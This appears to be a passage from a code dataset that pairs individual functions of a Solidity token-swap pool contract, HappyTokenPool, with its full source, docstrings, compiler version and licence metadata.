40, uint256(_hash) >> 216); // hash = 40 bits (safe?) _packed1 |= box(200, 28, _start); // start_time = 28 bits _packed1 |= box(228, 28, _end); // expiration_time = 28 bits return _packed1; } /** * _total_tokens target remaining 128 * _limit single swap limit 128 * wrap2() inserts the above variables into a 32-word block **/ function wrap2 (uint256 _total_tokens, uint256 _limit) internal pure returns (uint256 packed2) { uint256 _packed2 = 0; _packed2 |= box(0, 128, _total_tokens); // total_tokens = 128 bits ~= 3.4e38 _packed2 |= box(128, 128, _limit); // limit = 128 bits return _packed2; } /** * position position in a memory block * size data size * data data * box() inserts the data in a 256bit word with the given position and returns it * data is checked by validRange() to make sure it is not over size **/ function box (uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { require(validRange(size, data), "Value out of range BOX"); assembly { // data << position boxed := shl(position, data) } } /** * position position in a memory block * size data size * base base data * unbox() extracts the data out of a 256bit word with the given position and returns it * base is checked by validRange() to make sure it is not over size **/ function unbox (uint256 base, uint16 position, uint16 size) internal pure returns (uint256 unboxed) { require(validRange(256, base), "Value out of range UNBOX"); assembly { // (((1 << size) - 1) & base >> position) unboxed := and(sub(shl(size, 1), 1), shr(position, base)) } } /** * size data size * data data * validRange() checks if the given data is over the specified data size **/ function validRange (uint16 size, uint256 data) internal pure returns(bool ifValid) { assembly { // 2^size > data or size ==256 ifValid := or(eq(size, 256), gt(shl(size, 1), data)) } } /** * _box 32byte data to be modified * position position in a memory block * size data size * data data to be inserted * rewriteBox() updates a 32byte word with a data at the given position with the specified size **/ function rewriteBox (uint256 _box, uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { assembly { // mask = ~((1 << size - 1) << position) // _box = (mask & _box) | ()data << position) boxed := or( and(_box, not(shl(position, sub(shl(size, 1), 1)))), shl(position, data)) } } /** * token_address ERC20 address * sender_address sender address * recipient_address recipient address * amount transfer amount * transfer_token() transfers a given amount of ERC20 from the sender address to the recipient address **/ function transfer_token (address token_address, address sender_address, address recipient_address, uint256 amount) internal { require(IERC20(token_address).balanceOf(sender_address) >= amount, "Balance not enough"); IERC20(token_address).safeTransfer(recipient_address, amount); } }
withdraw
function withdraw (bytes32 id, uint256 addr_i) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can withdraw."); uint256 withdraw_balance = pool.exchanged_tokens[addr_i]; require(withdraw_balance > 0, "None of this token left"); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); address token_address = pool.exchange_addrs[addr_i]; // ERC20 if (token_address != DEFAULT_ADDRESS) transfer_token(token_address, address(this), msg.sender, withdraw_balance); // ETH else payable(msg.sender).transfer(withdraw_balance); // clear the record pool.exchanged_tokens[addr_i] = 0; emit WithdrawSuccess(id, token_address, withdraw_balance); }
/** * withdraw() transfers out a single token after a pool is expired or empty * id swap pool id * addr_i withdraw token index * this function can only be called by the pool creator. after validation, it transfers the addr_i th token * out to the pool creator address. **/
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7
{ "func_code_index": [ 18644, 19712 ] }
12,423
HappyTokenPool
contracts/ito.sol
0x198457da5e7f7b7fd916006837417dcf663f692d
Solidity
HappyTokenPool
contract HappyTokenPool { struct Pool { uint256 packed1; // qualification_address(160) the smart contract address to verify qualification // hash(40) start_time_delta(28) // expiration_time_delta(28) BIG ENDIAN uint256 packed2; // total_tokens(128) limit(128) uint48 unlock_time; // unlock_time + base_time = real_time address creator; address token_address; // the target token address address[] exchange_addrs; // a list of ERC20 addresses for swapping uint128[] exchanged_tokens; // a list of amounts of swapped tokens uint128[] ratios; // a list of swap ratios // length = 2 * exchange_addrs.length // [address1, target, address2, target, ...] // e.g. [1, 10] // represents 1 tokenA to swap 10 target token // note: each ratio pair needs to be coprime mapping(address => uint256) swapped_map; // swapped amount of an address } struct Packed { uint256 packed1; uint256 packed2; } // swap pool filling success event event FillSuccess ( uint256 total, bytes32 id, address creator, uint256 creation_time, address token_address, string message ); // swap success event event SwapSuccess ( bytes32 id, address swapper, address from_address, address to_address, uint256 from_value, uint256 to_value ); // claim success event event ClaimSuccess ( bytes32 id, address claimer, uint256 timestamp, uint256 to_value, address token_address ); // swap pool destruct success event event DestructSuccess ( bytes32 id, address token_address, uint256 remaining_balance, uint128[] exchanged_values ); // single token withdrawl from a swap pool success even event WithdrawSuccess ( bytes32 id, address token_address, uint256 withdraw_balance ); modifier creatorOnly { require(msg.sender == contract_creator, "Contract Creator Only"); _; } using SafeERC20 for IERC20; uint32 nonce; uint224 base_time; // timestamp = base_time + delta to save gas address public contract_creator; mapping(bytes32 => Pool) pool_by_id; // maps an id to a Pool instance string constant private magic = "Prince Philip, Queen Elizabeth II's husband, has died aged 99, \ Buckingham Palace has announced. A statement issued by the palace just after midday spoke of the \ Queen's deep sorrow following his death at Windsor Castle on Friday morning. The Duke of Edinbur"; bytes32 private seed; address DEFAULT_ADDRESS = 0x0000000000000000000000000000000000000000; // a universal address constructor() { contract_creator = msg.sender; seed = keccak256(abi.encodePacked(magic, block.timestamp, contract_creator)); base_time = 1616976000; // 00:00:00 03/30/2021 GMT(UTC+0) } /** * @dev * fill_pool() creates a swap pool with specific parameters from input * _hash sha3-256(password) * _start start time delta, real start time = base_time + _start * _end end time delta, real end time = base_time + _end * message swap pool creation message, only stored in FillSuccess event * _exchange_addrs swap token list (0x0 for ETH, only supports ETH and ERC20 now) * _ratios swap pair ratio list * _unlock_time unlock time delta real unlock time = base_time + _unlock_time * _token_addr swap target token address * _total_tokens target token total swap amount * _limit target token single swap limit * _qualification the qualification contract address based on IQLF to determine qualification * This function takes the above parameters and creates the pool. _total_tokens of the target token * will be successfully transferred to this contract securely on a successful run of this function. **/ function fill_pool (bytes32 _hash, uint256 _start, uint256 _end, string memory message, address[] memory _exchange_addrs, uint128[] memory _ratios, uint256 _unlock_time, address _token_addr, uint256 _total_tokens, uint256 _limit, address _qualification) public payable { nonce ++; require(_start < _end, "Start time should be earlier than end time."); require(_end < _unlock_time || _unlock_time == 0, "End time should be earlier than unlock time"); require(_limit <= _total_tokens, "Limit needs to be less than or equal to the total supply"); require(_total_tokens < 2 ** 128, "No more than 2^128 tokens(incluidng decimals) allowed"); require(IERC20(_token_addr).allowance(msg.sender, address(this)) >= _total_tokens, "Insuffcient allowance"); require(_exchange_addrs.length > 0, "Exchange token addresses need to be set"); require(_ratios.length == 2 * _exchange_addrs.length, "Size of ratios = 2 * size of exchange_addrs"); bytes32 _id = keccak256(abi.encodePacked(msg.sender, block.timestamp, nonce, seed)); Pool storage pool = pool_by_id[_id]; pool.packed1 = wrap1(_qualification, _hash, _start, _end); // 256 bytes detail in wrap1() pool.packed2 = wrap2(_total_tokens, _limit); // 256 bytes detail in wrap2() pool.unlock_time = uint48(_unlock_time); // 48 bytes unlock_time 0 -> unlocked pool.creator = msg.sender; // 160 bytes pool creator pool.exchange_addrs = _exchange_addrs; // 160 bytes target token pool.token_address = _token_addr; // 160 bytes target token address // Init each token swapped amount to 0 for (uint256 i = 0; i < _exchange_addrs.length; i++) { if (_exchange_addrs[i] != DEFAULT_ADDRESS) { // TODO: Is there a better way to validate an ERC20? require(IERC20(_exchange_addrs[i]).totalSupply() > 0, "Not a valid ERC20"); } pool.exchanged_tokens.push(0); } // Make sure each ratio is co-prime to prevent overflow for (uint256 i = 0; i < _ratios.length; i+= 2) { uint256 divA = SafeMath.div(_ratios[i], _ratios[i+1]); // Non-zero checked by SafteMath.div uint256 divB = SafeMath.div(_ratios[i+1], _ratios[i]); // Non-zero checked by SafteMath.div if (_ratios[i] == 1) { require(divB == _ratios[i+1]); } else if (_ratios[i+1] == 1) { require(divA == _ratios[i]); } else { // if a and b are co-prime, then a / b * b != a and b / a * a != b require(divA * _ratios[i+1] != _ratios[i]); require(divB * _ratios[i] != _ratios[i+1]); } } pool.ratios = _ratios; // 256 * k IERC20(_token_addr).safeTransferFrom(msg.sender, address(this), _total_tokens); emit FillSuccess(_total_tokens, _id, msg.sender, block.timestamp, _token_addr, message); } /** * @dev * swap() allows users to swap tokens in a swap pool * id swap pool id * verification sha3-256(sha3-256(password)[:40]+swapper_address) * validation sha3-256(swapper_address) * exchange_addr_i the index of the exchange address of the list * input_total the input amount of the specific token * This function is called by the swapper who approves the specific ERC20 or directly transfer the ETH * first and wants to swap the desired amount of the target token. The swapped amount is calculated * based on the pool ratio. After swap successfully, the same account can not swap the same pool again. **/ function swap (bytes32 id, bytes32 verification, bytes32 validation, uint256 exchange_addr_i, uint128 input_total) public payable returns (uint256 swapped) { Pool storage pool = pool_by_id[id]; Packed memory packed = Packed(pool.packed1, pool.packed2); require ( IQLF( address( uint160(unbox(packed.packed1, 0, 160))) ).logQualified(msg.sender, uint256(unbox(packed.packed1, 200, 28) + base_time) ) == true, "Not Qualified" ); require (unbox(packed.packed1, 200, 28) + base_time < block.timestamp, "Not started."); require (unbox(packed.packed1, 228, 28) + base_time > block.timestamp, "Expired."); // sha3(sha3(passowrd)[:40] + msg.sender) so that the raw password will never appear in the contract require (verification == keccak256(abi.encodePacked(unbox(packed.packed1, 160, 40), msg.sender)), 'Wrong Password'); // sha3(msg.sender) to protect from front runs (but this is kinda naive since the contract is open sourced) require (validation == keccak256(abi.encodePacked(msg.sender)), "Validation Failed"); uint256 total_tokens = unbox(packed.packed2, 0, 128); // revert if the pool is empty require (total_tokens > 0, "Out of Stock"); address exchange_addr = pool.exchange_addrs[exchange_addr_i]; uint256 ratioA = pool.ratios[exchange_addr_i*2]; uint256 ratioB = pool.ratios[exchange_addr_i*2 + 1]; // check if the input is enough for the desired transfer if (exchange_addr == DEFAULT_ADDRESS) { require(msg.value == input_total, 'No enough ether.'); } else { uint256 allowance = IERC20(exchange_addr).allowance(msg.sender, address(this)); require(allowance >= input_total, 'No enough allowance.'); } uint256 swapped_tokens; // this calculation won't be overflow thanks to the SafeMath and the co-prime test swapped_tokens = SafeMath.div(SafeMath.mul(input_total, ratioB), ratioA); // 2^256=10e77 >> 10e18 * 10e18 require(swapped_tokens > 0, "Better not draw water with a sieve"); uint256 limit = unbox(packed.packed2, 128, 128); if (swapped_tokens > limit) { // don't be greedy - you can only get at most limit tokens swapped_tokens = limit; input_total = uint128(SafeMath.div(SafeMath.mul(limit, ratioA), ratioB)); // Update input_total } else if (swapped_tokens > total_tokens) { // if the left tokens are not enough swapped_tokens = total_tokens; input_total = uint128(SafeMath.div(SafeMath.mul(total_tokens, ratioA), ratioB)); // Update input_total // return the eth if (exchange_addr == DEFAULT_ADDRESS) payable(msg.sender).transfer(msg.value - input_total); } require(swapped_tokens <= limit); // make sure again pool.exchanged_tokens[exchange_addr_i] = uint128(SafeMath.add(pool.exchanged_tokens[exchange_addr_i], input_total)); // update exchanged // penalize greedy attackers by placing duplication check at the very last require (pool.swapped_map[msg.sender] == 0, "Already swapped"); // update the remaining tokens and swapped token mapping pool.packed2 = rewriteBox(packed.packed2, 0, 128, SafeMath.sub(total_tokens, swapped_tokens)); pool.swapped_map[msg.sender] = swapped_tokens; // transfer the token after state changing // ETH comes with the tx, but ERC20 does not - INPUT if (exchange_addr != DEFAULT_ADDRESS) { IERC20(exchange_addr).safeTransferFrom(msg.sender, address(this), input_total); } // Swap success event emit SwapSuccess(id, msg.sender, exchange_addr, pool.token_address, input_total, swapped_tokens); // if unlock_time == 0, transfer the swapped tokens to the recipient address (msg.sender) - OUTPUT // if not, claim() needs to be called to get the token if (pool.unlock_time == 0) { transfer_token(pool.token_address, address(this), msg.sender, swapped_tokens); emit ClaimSuccess(id, msg.sender, block.timestamp, swapped_tokens, pool.token_address); } return swapped_tokens; } /** * check_availability() returns a bunch of pool info given a pool id * id swap pool id * this function returns 1. exchange_addrs that can be used to determine the index * 2. remaining target tokens * 3. if started * 4. if ended * 5. swapped amount of the query address * 5. exchanged amount of each token **/ function check_availability (bytes32 id) external view returns (address[] memory exchange_addrs, uint256 remaining, bool started, bool expired, bool unlocked, uint256 unlock_time, uint256 swapped, uint128[] memory exchanged_tokens) { Pool storage pool = pool_by_id[id]; return ( pool.exchange_addrs, // exchange_addrs 0x0 means destructed unbox(pool.packed2, 0, 128), // remaining block.timestamp > unbox(pool.packed1, 200, 28) + base_time, // started block.timestamp > unbox(pool.packed1, 228, 28) + base_time, // expired block.timestamp > pool.unlock_time + base_time, // unlocked pool.unlock_time + base_time, // unlock_time pool.swapped_map[msg.sender], // swapped number pool.exchanged_tokens // exchanged tokens ); } function claim(bytes32[] memory ito_ids) public { uint256 claimed_amount; for (uint256 i = 0; i < ito_ids.length; i++) { Pool storage pool = pool_by_id[ito_ids[i]]; if (pool.unlock_time + base_time > block.timestamp) continue; claimed_amount = pool.swapped_map[msg.sender]; if (claimed_amount == 0) continue; pool.swapped_map[msg.sender] = 0; transfer_token(pool.token_address, address(this), msg.sender, claimed_amount); emit ClaimSuccess(ito_ids[i], msg.sender, block.timestamp, claimed_amount, pool.token_address); } } function setUnlockTime(bytes32 id, uint256 _unlock_time) public { Pool storage pool = pool_by_id[id]; require(pool.creator == msg.sender, "Pool Creator Only"); pool.unlock_time = uint48(_unlock_time); } /** * destruct() destructs the given pool given the pool id * id swap pool id * this function can only be called by the pool creator. after validation, it transfers all the remaining token * (if any) and all the swapped tokens to the pool creator. it will then destruct the pool by reseting almost * all the variables to zero to get the gas refund. * note that this function may not work if a pool needs to transfer over ~200 tokens back to the address due to * the block gas limit. we have another function withdraw() to help the pool creator to withdraw a single token **/ function destruct (bytes32 id) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can destruct."); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); // if any left in the pool if (remaining_tokens != 0) { transfer_token(pool.token_address, address(this), msg.sender, remaining_tokens); } // transfer the swapped tokens accordingly // note this loop may exceed the block gas limit so if >200 exchange_addrs this may not work for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { if (pool.exchanged_tokens[i] > 0) { // ERC20 if (pool.exchange_addrs[i] != DEFAULT_ADDRESS) transfer_token(pool.exchange_addrs[i], address(this), msg.sender, pool.exchanged_tokens[i]); // ETH else payable(msg.sender).transfer(pool.exchanged_tokens[i]); } } emit DestructSuccess(id, pool.token_address, remaining_tokens, pool.exchanged_tokens); // Gas Refund pool.packed1 = 0; pool.packed2 = 0; pool.creator = DEFAULT_ADDRESS; for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { pool.exchange_addrs[i] = DEFAULT_ADDRESS; pool.exchanged_tokens[i] = 0; pool.ratios[i*2] = 0; pool.ratios[i*2+1] = 0; } } /** * withdraw() transfers out a single token after a pool is expired or empty * id swap pool id * addr_i withdraw token index * this function can only be called by the pool creator. after validation, it transfers the addr_i th token * out to the pool creator address. **/ function withdraw (bytes32 id, uint256 addr_i) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can withdraw."); uint256 withdraw_balance = pool.exchanged_tokens[addr_i]; require(withdraw_balance > 0, "None of this token left"); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); address token_address = pool.exchange_addrs[addr_i]; // ERC20 if (token_address != DEFAULT_ADDRESS) transfer_token(token_address, address(this), msg.sender, withdraw_balance); // ETH else payable(msg.sender).transfer(withdraw_balance); // clear the record pool.exchanged_tokens[addr_i] = 0; emit WithdrawSuccess(id, token_address, withdraw_balance); } // helper functions TODO: migrate this to a helper file /** * _qualification the smart contract address to verify qualification 160 * _hash sha3-256(password) 40 * _start start time delta 28 * _end end time delta 28 * wrap1() inserts the above variables into a 32-word block **/ function wrap1 (address _qualification, bytes32 _hash, uint256 _start, uint256 _end) internal pure returns (uint256 packed1) { uint256 _packed1 = 0; _packed1 |= box(0, 160, uint256(uint160(_qualification))); // _qualification = 160 bits _packed1 |= box(160, 40, uint256(_hash) >> 216); // hash = 40 bits (safe?) _packed1 |= box(200, 28, _start); // start_time = 28 bits _packed1 |= box(228, 28, _end); // expiration_time = 28 bits return _packed1; } /** * _total_tokens target remaining 128 * _limit single swap limit 128 * wrap2() inserts the above variables into a 32-word block **/ function wrap2 (uint256 _total_tokens, uint256 _limit) internal pure returns (uint256 packed2) { uint256 _packed2 = 0; _packed2 |= box(0, 128, _total_tokens); // total_tokens = 128 bits ~= 3.4e38 _packed2 |= box(128, 128, _limit); // limit = 128 bits return _packed2; } /** * position position in a memory block * size data size * data data * box() inserts the data in a 256bit word with the given position and returns it * data is checked by validRange() to make sure it is not over size **/ function box (uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { require(validRange(size, data), "Value out of range BOX"); assembly { // data << position boxed := shl(position, data) } } /** * position position in a memory block * size data size * base base data * unbox() extracts the data out of a 256bit word with the given position and returns it * base is checked by validRange() to make sure it is not over size **/ function unbox (uint256 base, uint16 position, uint16 size) internal pure returns (uint256 unboxed) { require(validRange(256, base), "Value out of range UNBOX"); assembly { // (((1 << size) - 1) & base >> position) unboxed := and(sub(shl(size, 1), 1), shr(position, base)) } } /** * size data size * data data * validRange() checks if the given data is over the specified data size **/ function validRange (uint16 size, uint256 data) internal pure returns(bool ifValid) { assembly { // 2^size > data or size ==256 ifValid := or(eq(size, 256), gt(shl(size, 1), data)) } } /** * _box 32byte data to be modified * position position in a memory block * size data size * data data to be inserted * rewriteBox() updates a 32byte word with a data at the given position with the specified size **/ function rewriteBox (uint256 _box, uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { assembly { // mask = ~((1 << size - 1) << position) // _box = (mask & _box) | ()data << position) boxed := or( and(_box, not(shl(position, sub(shl(size, 1), 1)))), shl(position, data)) } } /** * token_address ERC20 address * sender_address sender address * recipient_address recipient address * amount transfer amount * transfer_token() transfers a given amount of ERC20 from the sender address to the recipient address **/ function transfer_token (address token_address, address sender_address, address recipient_address, uint256 amount) internal { require(IERC20(token_address).balanceOf(sender_address) >= amount, "Balance not enough"); IERC20(token_address).safeTransfer(recipient_address, amount); } }
wrap1
function wrap1 (address _qualification, bytes32 _hash, uint256 _start, uint256 _end) internal pure returns (uint256 packed1) { uint256 _packed1 = 0; _packed1 |= box(0, 160, uint256(uint160(_qualification))); // _qualification = 160 bits _packed1 |= box(160, 40, uint256(_hash) >> 216); // hash = 40 bits (safe?) _packed1 |= box(200, 28, _start); // start_time = 28 bits _packed1 |= box(228, 28, _end); // expiration_time = 28 bits return _packed1; }
/** * _qualification the smart contract address to verify qualification 160 * _hash sha3-256(password) 40 * _start start time delta 28 * _end end time delta 28 * wrap1() inserts the above variables into a 32-word block **/
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7
{ "func_code_index": [ 20192, 20810 ] }
12,424
HappyTokenPool
contracts/ito.sol
0x198457da5e7f7b7fd916006837417dcf663f692d
Solidity
HappyTokenPool
contract HappyTokenPool { struct Pool { uint256 packed1; // qualification_address(160) the smart contract address to verify qualification // hash(40) start_time_delta(28) // expiration_time_delta(28) BIG ENDIAN uint256 packed2; // total_tokens(128) limit(128) uint48 unlock_time; // unlock_time + base_time = real_time address creator; address token_address; // the target token address address[] exchange_addrs; // a list of ERC20 addresses for swapping uint128[] exchanged_tokens; // a list of amounts of swapped tokens uint128[] ratios; // a list of swap ratios // length = 2 * exchange_addrs.length // [address1, target, address2, target, ...] // e.g. [1, 10] // represents 1 tokenA to swap 10 target token // note: each ratio pair needs to be coprime mapping(address => uint256) swapped_map; // swapped amount of an address } struct Packed { uint256 packed1; uint256 packed2; } // swap pool filling success event event FillSuccess ( uint256 total, bytes32 id, address creator, uint256 creation_time, address token_address, string message ); // swap success event event SwapSuccess ( bytes32 id, address swapper, address from_address, address to_address, uint256 from_value, uint256 to_value ); // claim success event event ClaimSuccess ( bytes32 id, address claimer, uint256 timestamp, uint256 to_value, address token_address ); // swap pool destruct success event event DestructSuccess ( bytes32 id, address token_address, uint256 remaining_balance, uint128[] exchanged_values ); // single token withdrawl from a swap pool success even event WithdrawSuccess ( bytes32 id, address token_address, uint256 withdraw_balance ); modifier creatorOnly { require(msg.sender == contract_creator, "Contract Creator Only"); _; } using SafeERC20 for IERC20; uint32 nonce; uint224 base_time; // timestamp = base_time + delta to save gas address public contract_creator; mapping(bytes32 => Pool) pool_by_id; // maps an id to a Pool instance string constant private magic = "Prince Philip, Queen Elizabeth II's husband, has died aged 99, \ Buckingham Palace has announced. A statement issued by the palace just after midday spoke of the \ Queen's deep sorrow following his death at Windsor Castle on Friday morning. The Duke of Edinbur"; bytes32 private seed; address DEFAULT_ADDRESS = 0x0000000000000000000000000000000000000000; // a universal address constructor() { contract_creator = msg.sender; seed = keccak256(abi.encodePacked(magic, block.timestamp, contract_creator)); base_time = 1616976000; // 00:00:00 03/30/2021 GMT(UTC+0) } /** * @dev * fill_pool() creates a swap pool with specific parameters from input * _hash sha3-256(password) * _start start time delta, real start time = base_time + _start * _end end time delta, real end time = base_time + _end * message swap pool creation message, only stored in FillSuccess event * _exchange_addrs swap token list (0x0 for ETH, only supports ETH and ERC20 now) * _ratios swap pair ratio list * _unlock_time unlock time delta real unlock time = base_time + _unlock_time * _token_addr swap target token address * _total_tokens target token total swap amount * _limit target token single swap limit * _qualification the qualification contract address based on IQLF to determine qualification * This function takes the above parameters and creates the pool. _total_tokens of the target token * will be successfully transferred to this contract securely on a successful run of this function. **/ function fill_pool (bytes32 _hash, uint256 _start, uint256 _end, string memory message, address[] memory _exchange_addrs, uint128[] memory _ratios, uint256 _unlock_time, address _token_addr, uint256 _total_tokens, uint256 _limit, address _qualification) public payable { nonce ++; require(_start < _end, "Start time should be earlier than end time."); require(_end < _unlock_time || _unlock_time == 0, "End time should be earlier than unlock time"); require(_limit <= _total_tokens, "Limit needs to be less than or equal to the total supply"); require(_total_tokens < 2 ** 128, "No more than 2^128 tokens(incluidng decimals) allowed"); require(IERC20(_token_addr).allowance(msg.sender, address(this)) >= _total_tokens, "Insuffcient allowance"); require(_exchange_addrs.length > 0, "Exchange token addresses need to be set"); require(_ratios.length == 2 * _exchange_addrs.length, "Size of ratios = 2 * size of exchange_addrs"); bytes32 _id = keccak256(abi.encodePacked(msg.sender, block.timestamp, nonce, seed)); Pool storage pool = pool_by_id[_id]; pool.packed1 = wrap1(_qualification, _hash, _start, _end); // 256 bytes detail in wrap1() pool.packed2 = wrap2(_total_tokens, _limit); // 256 bytes detail in wrap2() pool.unlock_time = uint48(_unlock_time); // 48 bytes unlock_time 0 -> unlocked pool.creator = msg.sender; // 160 bytes pool creator pool.exchange_addrs = _exchange_addrs; // 160 bytes target token pool.token_address = _token_addr; // 160 bytes target token address // Init each token swapped amount to 0 for (uint256 i = 0; i < _exchange_addrs.length; i++) { if (_exchange_addrs[i] != DEFAULT_ADDRESS) { // TODO: Is there a better way to validate an ERC20? require(IERC20(_exchange_addrs[i]).totalSupply() > 0, "Not a valid ERC20"); } pool.exchanged_tokens.push(0); } // Make sure each ratio is co-prime to prevent overflow for (uint256 i = 0; i < _ratios.length; i+= 2) { uint256 divA = SafeMath.div(_ratios[i], _ratios[i+1]); // Non-zero checked by SafteMath.div uint256 divB = SafeMath.div(_ratios[i+1], _ratios[i]); // Non-zero checked by SafteMath.div if (_ratios[i] == 1) { require(divB == _ratios[i+1]); } else if (_ratios[i+1] == 1) { require(divA == _ratios[i]); } else { // if a and b are co-prime, then a / b * b != a and b / a * a != b require(divA * _ratios[i+1] != _ratios[i]); require(divB * _ratios[i] != _ratios[i+1]); } } pool.ratios = _ratios; // 256 * k IERC20(_token_addr).safeTransferFrom(msg.sender, address(this), _total_tokens); emit FillSuccess(_total_tokens, _id, msg.sender, block.timestamp, _token_addr, message); } /** * @dev * swap() allows users to swap tokens in a swap pool * id swap pool id * verification sha3-256(sha3-256(password)[:40]+swapper_address) * validation sha3-256(swapper_address) * exchange_addr_i the index of the exchange address of the list * input_total the input amount of the specific token * This function is called by the swapper who approves the specific ERC20 or directly transfer the ETH * first and wants to swap the desired amount of the target token. The swapped amount is calculated * based on the pool ratio. After swap successfully, the same account can not swap the same pool again. **/ function swap (bytes32 id, bytes32 verification, bytes32 validation, uint256 exchange_addr_i, uint128 input_total) public payable returns (uint256 swapped) { Pool storage pool = pool_by_id[id]; Packed memory packed = Packed(pool.packed1, pool.packed2); require ( IQLF( address( uint160(unbox(packed.packed1, 0, 160))) ).logQualified(msg.sender, uint256(unbox(packed.packed1, 200, 28) + base_time) ) == true, "Not Qualified" ); require (unbox(packed.packed1, 200, 28) + base_time < block.timestamp, "Not started."); require (unbox(packed.packed1, 228, 28) + base_time > block.timestamp, "Expired."); // sha3(sha3(passowrd)[:40] + msg.sender) so that the raw password will never appear in the contract require (verification == keccak256(abi.encodePacked(unbox(packed.packed1, 160, 40), msg.sender)), 'Wrong Password'); // sha3(msg.sender) to protect from front runs (but this is kinda naive since the contract is open sourced) require (validation == keccak256(abi.encodePacked(msg.sender)), "Validation Failed"); uint256 total_tokens = unbox(packed.packed2, 0, 128); // revert if the pool is empty require (total_tokens > 0, "Out of Stock"); address exchange_addr = pool.exchange_addrs[exchange_addr_i]; uint256 ratioA = pool.ratios[exchange_addr_i*2]; uint256 ratioB = pool.ratios[exchange_addr_i*2 + 1]; // check if the input is enough for the desired transfer if (exchange_addr == DEFAULT_ADDRESS) { require(msg.value == input_total, 'No enough ether.'); } else { uint256 allowance = IERC20(exchange_addr).allowance(msg.sender, address(this)); require(allowance >= input_total, 'No enough allowance.'); } uint256 swapped_tokens; // this calculation won't be overflow thanks to the SafeMath and the co-prime test swapped_tokens = SafeMath.div(SafeMath.mul(input_total, ratioB), ratioA); // 2^256=10e77 >> 10e18 * 10e18 require(swapped_tokens > 0, "Better not draw water with a sieve"); uint256 limit = unbox(packed.packed2, 128, 128); if (swapped_tokens > limit) { // don't be greedy - you can only get at most limit tokens swapped_tokens = limit; input_total = uint128(SafeMath.div(SafeMath.mul(limit, ratioA), ratioB)); // Update input_total } else if (swapped_tokens > total_tokens) { // if the left tokens are not enough swapped_tokens = total_tokens; input_total = uint128(SafeMath.div(SafeMath.mul(total_tokens, ratioA), ratioB)); // Update input_total // return the eth if (exchange_addr == DEFAULT_ADDRESS) payable(msg.sender).transfer(msg.value - input_total); } require(swapped_tokens <= limit); // make sure again pool.exchanged_tokens[exchange_addr_i] = uint128(SafeMath.add(pool.exchanged_tokens[exchange_addr_i], input_total)); // update exchanged // penalize greedy attackers by placing duplication check at the very last require (pool.swapped_map[msg.sender] == 0, "Already swapped"); // update the remaining tokens and swapped token mapping pool.packed2 = rewriteBox(packed.packed2, 0, 128, SafeMath.sub(total_tokens, swapped_tokens)); pool.swapped_map[msg.sender] = swapped_tokens; // transfer the token after state changing // ETH comes with the tx, but ERC20 does not - INPUT if (exchange_addr != DEFAULT_ADDRESS) { IERC20(exchange_addr).safeTransferFrom(msg.sender, address(this), input_total); } // Swap success event emit SwapSuccess(id, msg.sender, exchange_addr, pool.token_address, input_total, swapped_tokens); // if unlock_time == 0, transfer the swapped tokens to the recipient address (msg.sender) - OUTPUT // if not, claim() needs to be called to get the token if (pool.unlock_time == 0) { transfer_token(pool.token_address, address(this), msg.sender, swapped_tokens); emit ClaimSuccess(id, msg.sender, block.timestamp, swapped_tokens, pool.token_address); } return swapped_tokens; } /** * check_availability() returns a bunch of pool info given a pool id * id swap pool id * this function returns 1. exchange_addrs that can be used to determine the index * 2. remaining target tokens * 3. if started * 4. if ended * 5. swapped amount of the query address * 5. exchanged amount of each token **/ function check_availability (bytes32 id) external view returns (address[] memory exchange_addrs, uint256 remaining, bool started, bool expired, bool unlocked, uint256 unlock_time, uint256 swapped, uint128[] memory exchanged_tokens) { Pool storage pool = pool_by_id[id]; return ( pool.exchange_addrs, // exchange_addrs 0x0 means destructed unbox(pool.packed2, 0, 128), // remaining block.timestamp > unbox(pool.packed1, 200, 28) + base_time, // started block.timestamp > unbox(pool.packed1, 228, 28) + base_time, // expired block.timestamp > pool.unlock_time + base_time, // unlocked pool.unlock_time + base_time, // unlock_time pool.swapped_map[msg.sender], // swapped number pool.exchanged_tokens // exchanged tokens ); } function claim(bytes32[] memory ito_ids) public { uint256 claimed_amount; for (uint256 i = 0; i < ito_ids.length; i++) { Pool storage pool = pool_by_id[ito_ids[i]]; if (pool.unlock_time + base_time > block.timestamp) continue; claimed_amount = pool.swapped_map[msg.sender]; if (claimed_amount == 0) continue; pool.swapped_map[msg.sender] = 0; transfer_token(pool.token_address, address(this), msg.sender, claimed_amount); emit ClaimSuccess(ito_ids[i], msg.sender, block.timestamp, claimed_amount, pool.token_address); } } function setUnlockTime(bytes32 id, uint256 _unlock_time) public { Pool storage pool = pool_by_id[id]; require(pool.creator == msg.sender, "Pool Creator Only"); pool.unlock_time = uint48(_unlock_time); } /** * destruct() destructs the given pool given the pool id * id swap pool id * this function can only be called by the pool creator. after validation, it transfers all the remaining token * (if any) and all the swapped tokens to the pool creator. it will then destruct the pool by reseting almost * all the variables to zero to get the gas refund. * note that this function may not work if a pool needs to transfer over ~200 tokens back to the address due to * the block gas limit. we have another function withdraw() to help the pool creator to withdraw a single token **/ function destruct (bytes32 id) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can destruct."); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 